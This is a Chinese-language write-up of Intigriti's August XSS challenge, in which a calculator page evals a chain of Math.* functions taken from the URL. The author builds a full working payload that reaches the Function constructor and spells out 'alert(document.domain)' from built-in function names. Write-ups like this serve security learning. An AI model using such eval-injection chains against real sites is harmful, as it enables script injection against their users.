Intigriti-August-XSS-challenge

2024-04-27

Intigriti’s August XSS challenge

Author:堇姬Naup

題目

https://challenge-0823.intigriti.io/
有一個計算機可以輸入東西,只要有執行alert(document.domain)就可以過了

image
image

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<script>
(function() {
name = 'Pure Functional Math Calculator'
let next
Math.random = function() {
if (!this.seeds) {
this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465]
next = this.seeds[new Date().getTime() % this.seeds.length]
}
next = next * 1103515245 + 12345
return (next / 65536) % 32767
}
console.assert(Math.random() > 0)

const result = document.querySelector('.result')
const stack = document.querySelector('.stack-block')
let operators = []

document.querySelector('.pad').addEventListener('click', handleClick)

let qs = new URLSearchParams(window.location.search)
if (qs.get('q')) {
const ops = qs.get('q').split(',')
if (ops.length >= 100) {
alert('Max length of array is 99, got:' + ops.length)
return init()
}

for (let op of ops) {
if (!op.startsWith('Math.')) {
alert(`Operator should start with Math.: ${op}`)
return init()
}

if (!/^[a-zA-Z0-9.]+$/.test(op)) {
alert(`Invalid operator: ${op}`)
return init()
}
}

for (let op of ops) {
addOperator(op)
}

calculateResult()
} else {
init()
}

function init() {
addOperator('Math.random')
}

function addOperator(name) {
result.innerText = `${name}(${result.innerText})`
operators.push(name)

let div = document.createElement('div')
div.textContent = `${operators.length}. ${name}`
stack.prepend(div)
}

function calculateResult() {
result.innerText = eval(result.innerText)
}

function handleClick(e) {
let className = e.target.className
let text = e.target.innerText

if (className === 'btn-fn') {
addOperator(`Math.${text}`)
} else if (className === 'btn-ac') {
result.innerText = 'Math.random()';
stack.innerHTML = '<div>1. Math.random</div>'
operators = ['Math.random']
} else if (className === 'btn-share') {
alert('Please copy the URL!')
location.search = '?q=' + operators.join(',')
} else if (className === 'btn-equal') {
calculateResult()
}
}
})()
</script>

解決

他用eval來執行我們輸入的,處理你計算機的所有函數

1
2
3
function calculateResult() {
result.innerText = eval(result.innerText)
}

他用q=來接收,然後用逗號 , 將其分割,並且payload用到的函數不可以>99,並且每個函數都要用Math開頭

1
https://challenge-0823.intigriti.io/challenge/index.html/?q=Math.random,Math.tan,Math.floor 

會被用成f3(f2(f1(...)))的樣子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
let qs = new URLSearchParams(window.location.search)
if (qs.get('q')) {
const ops = qs.get('q').split(',')
if (ops.length >= 100) {
alert('Max length of array is 99, got:' + ops.length)
return init()
}

for(let op of ops) {
if (!op.startsWith('Math.')) {
alert(`Operator should start with Math.: ${op}`)
return init()
}

if (!/^[a-zA-Z0-9.]+$/.test(op)) {
alert(`Invalid operator: ${op}`)
return init()
}
}
}

}

首先會想創建一個Function()來去執行js

1
2
const sum = new Function('alert(1);');
sum()

但是要怎麼透過Math來去叫到Function()
這時候就可以用之前學到的constructor來呼叫了

1
2
3
4
5
6
function Person(name) {
this.name = name;
}

var person = new Person('John');
console.log(person.constructor);

他會找到創建 person的Person()

如果嘗試對Object,做constructor
會抓到創建Object的Function()

image
image

Math是一個Object,如果你對Math先做一次.constructor會抓到Object,在去做一次.constructor,就會抓到Function(),建立一個匿名函數

image
image

而如果用sort的話可以run起來這個匿名函數內容

透過Function()建立匿名函數來讓Function()包的string被執行到,再透過sort run匿名函數,就可以成功執行js

1
Math.seeds.sort(Math.constructor.constructor('alert(document.domain)'))
1
constructor.constructor,Math.seeds.sort

接下來就是要嘗試拼出'alert(document.domain)'

這邊或許可以利用看看
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/charAt

1
.charAt()

如果用

1
"ABCD".charAt(0)

會抓到A

找找看有沒有可用的string可以去掉用到string

image
image

看了Math底下的東西,會發現底下函數有些有包含道string
像是

1
Math.acos.name

image
image

1
Math.acos.name.charAt(0)

就可以抓到a
但是怎麼拿到0

image
image

可以用seeds裡面的數字,0.多被轉成int變成0,所以可以拿到第一個數字
pop()可以拿到最後一個
所以構造(最後再把push進去a到seeds存下來)

1
Math.seeds.push(Math.acos.name.charAt(Math.seeds.pop()))

再來要拿l
當你用Math.seeds.push時,同時會噴出陣列長度,此時這裡會噴出5來,把他丟進去cos會等於0.28366218546,被轉int一樣會變成,看到log第一個自是l,所以直接抓。

image
image

1
Math.seeds.pop,Math.acos.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push

e

1
Math.cos,Math.expm1.name.charAt,Math.seeds.push

r

1
Math.cos,Math.round.name.charAt,Math.seeds.push

t

1
Math.cos,Math.trunc.name.charAt,Math.seeds.push

組出alert

目前payload

1
Math.seeds.pop,Math.acos.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.expm1.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.trunc.name.charAt,Math.seeds.push

image
image

再來就遇到了(
這裡應該要嘗試看看有沒有辦法用ASCII呼叫到
但我究竟要怎麼取的能夠把ASCII轉char的函數呢?
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode

1
String.fromCharCode()

可以去把ASCII轉char

image
image

不過我需要用到String物件,我要如何抓到他?
你可以使用前面用過的

1
.constructor

對一個string做.constructor會抓到物件String,就可以抓到.fromCharCode()

1
Math.acos.name.constructor.fromCharCode()

image
image

這個方法可以拿到40,所以將他放入Math.acos.name.constructor.fromCharCode()可以得到(

1
Math.ceil(Math.log2(Math.cosh(Math.clz32(9)))) 
1
Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push

跟上面payload組起來

1
Math.seeds.pop,Math.acos.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.expm1.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.trunc.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push

image
image

再來繼續
d

image
image

1
Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push

等等…基本上都是同個概念了

直接把他寫完,得到一個陣列存了我們要的alert(document.domain)

1
Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push

image
image

接下來要把陣列裡面的字元串在一起變成字串,不過首先要先刪掉該陣列的前4項數字,方便操作,這邊可以用shift()
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift

1
Math.seeds.shift

做四次

1
Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift

image
image

乾淨了,目前還有19個函式的空間
接下來讓他變string,可以用join()但是如果直接用會變成中間都有,,所以這裡可以加入一個空陣列參數[]讓他中間不會有逗號。
https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/join

這是一個[]

1
Math.seeds.constructor

image
image

image
image

另外,執行上一個payload,最後一個返回的會是0.62536
你把一個float丟進Math.seeds.constructor會噴錯,但你丟入整數就會正常執行,所以要加個floor,強制把0.62536轉0
https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/floor

image
image

image
image

所以payload

1
Math.floor,Math.seeds.constructor,Math.seeds.join

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor
目前payload

1
Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.floor, Math.seeds.constructor,Math.seeds.join

最後把最前面執行的串在一起,就可以成功XSS了

final Payload

1
Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.floor,Math.seeds.constructor,Math.seeds.join,Math.constructor.constructor,Math.seeds.sort

image
image